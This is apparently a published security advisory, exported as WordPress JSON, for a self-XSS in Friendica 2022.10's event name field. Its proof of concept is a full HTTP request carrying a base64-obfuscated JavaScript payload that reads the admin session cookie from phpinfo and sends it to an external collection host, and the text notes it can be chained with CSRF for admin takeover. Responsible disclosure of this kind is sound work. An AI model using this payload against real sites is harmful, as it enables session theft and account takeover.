{"id":19770,"date":"2023-03-23T12:32:00","date_gmt":"2023-03-23T11:32:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19770"},"modified":"2023-03-23T15:36:17","modified_gmt":"2023-03-23T14:36:17","slug":"usd-2022-0050","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0050\/","title":{"rendered":"usd-2022-0050"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.20.2\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2022-0050 | Friendica 2022.10 - Cross-Site Scripting (XSS)<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0050<br \/><strong>Product<\/strong>: F<span>riendica<\/span><br \/><strong>Affected Version<\/strong>: <span>2022.10<\/span><br \/><strong>Vulnerability Type<\/strong>: <span>Cross-Site Scripting (CWE-79)<\/span><br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/friendi.ca\/\" target=\"_blank\" rel=\"noopener\">https:\/\/friendi.ca\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status:\u00a0<\/strong>Fixed<\/p>\n<h3>Description<\/h3>\n<p>The open source application Friendica is used to set up a decentralized social network. The focus lies on effective privacy settings and interoperability with third-party services. <span>A self-XSS vulnerability in the event name was identified in Friendica 2022.10.<\/span><\/p>\n<h3>Proof of Concept<\/h3>\n<p>The summary parameter in the request below contains the payload for the self-XSS. The payload is base64 encoded and requests the phpinfo file of the admin backend to extract the HttpOnly Session cookie. This cookie is then send to a server controlled by the attacker.<\/p>\n<p>This payload can be used to chain the vulnerability with a CSRF vulnerability reported seperatly and thus take over the admin account.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<p>POST \/events HTTP\/1.1<br \/>Host: localhost<br \/>Content-Length: 817<br \/>Cache-Control: max-age=0<br \/>sec-ch-ua: \"Not;A=Brand\";v=\"99\", \"Chromium\";v=\"106\"<br \/>sec-ch-ua-mobile: ?0<br \/>sec-ch-ua-platform: \"Linux\"<br \/>Upgrade-Insecure-Requests: 1<br \/>Origin: http:\/\/localhost<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/106.0.5249.119 Safari\/537.36<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-User: ?1<br \/>Sec-Fetch-Dest: document<br \/>Referer: http:\/\/localhost\/events<br \/>Accept-Encoding: gzip, deflate<br \/>Accept-Language: en-US,en;q=0.9<br \/>Cookie: co_Layout_8D23913DCB3532996F8FA3C8C06FB545B8E54A94=default; co_SId=9A5182CD2742BCD92FE5FD577DBBEDCDB68E1903; co_Lang=en; co_Layout_ABBCD552B100D9B01D99451D29C05588DEC80F27=default; PHPSESSID=9f76481d4b375f70e69f192c51840d31<br \/>Connection: close<\/p>\n<p>event_id=0&amp;cid=0&amp;uri=&amp;preview=0&amp;summary=%3Cimg+src%3D%2FX+onerror%3Deval%28atob%28%22dmFyIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwpyZXEub25sb2FkID0gcmVxTGlzdGVuZXI7CnZhciB1cmwgPSAnaHR0cDovL2xvY2FsaG9zdC9hZG1pbi9waHBpbmZvJzsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7IC8vIHNlbmQgY29va2llIGhlYWRlcgpyZXEub3BlbignR0VUJywgdXJsLCBmYWxzZSk7CnJlcS5zZW5kKCk7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpewp2YXIgcmVxMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwpjb25zdCBzZXMgPSB0aGlzLnJlc3BvbnNlVGV4dC5zdWJzdHJpbmcodGhpcy5yZXNwb25zZVRleHQuaW5kZXhPZignSFRUUF9DT09LSUUnKSArIDEpOwpyZXEyLm9wZW4oJ1BPU1QnLCAnaHR0cHM6Ly9rbmJwNXR2OTZpeGs0dGM3a3g5eGU2ZnRsa3JiZjIzci5vYXN0aWZ5LmNvbS9zdG9sZW4nLCBmYWxzZSk7CnJlcTIuc2VuZChzZXMpOwp9%22%29%29%3E&amp;start_text=2022-11-11+11%3A18&amp;finish_text=2022-11-11+11%3A18&amp;nofinish=0&amp;share=0&amp;submit=Submit&amp;desc=&amp;location=&amp;visibility=public<\/p>\n<\/div>\n<h3><\/h3>\n<p><span>The screenshot below shows the incoming request containing the stolen cookie:<\/span><br \/><span><\/span><\/p>\n<h3><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/03\/usd-2022-0049-proof.png\" width=\"900\" height=\"380\" alt=\"\" class=\"wp-image-19783 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/03\/usd-2022-0049-proof.png 900w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/03\/usd-2022-0049-proof-480x203.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 900px, 100vw\" \/><\/h3>\n<h3>Fix<\/h3>\n<p><span>It is recommended to treat all input on the website as potentially dangerous. <\/span><span>Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context. <\/span><span>The majority of programming languages support standard procedures for encoding meta characters.<\/span><\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/xss\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/xss<\/a><\/li>\n<li><a href=\"https:\/\/friendi.ca\/2022\/12\/20\/friendica-2022-12-released\/\" target=\"_blank\" rel=\"noopener\">https:\/\/friendi.ca\/2022\/12\/20\/friendica-2022-12-released\/<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-11-11:<\/strong> First contact request via <a href=\"mailto:info@friendi.ca\">info@friendi.ca<\/a><\/li>\n<li><strong>2022-12-09:<\/strong> Submitted vulnerability to the vendor<\/li>\n<li><strong>2022-12-20:<\/strong> Friendica 2022.12 released which fixes the submitted vulnerability<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0050 | Friendica 2022.10 - Cross-Site Scripting (XSS) Advisory ID: usd-2022-0050Product: FriendicaAffected Version: 2022.10Vulnerability Type: Cross-Site Scripting (CWE-79)Security Risk: MediumVendor URL: https:\/\/friendi.ca\/Vendor acknowledged vulnerability: YesVendor Status:\u00a0Fixed Description The open source application Friendica is used to set up a decentralized social network. The focus lies on effective privacy settings and interoperability with third-party services. A self-XSS [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19770","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19770","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19770"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19770\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19770"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}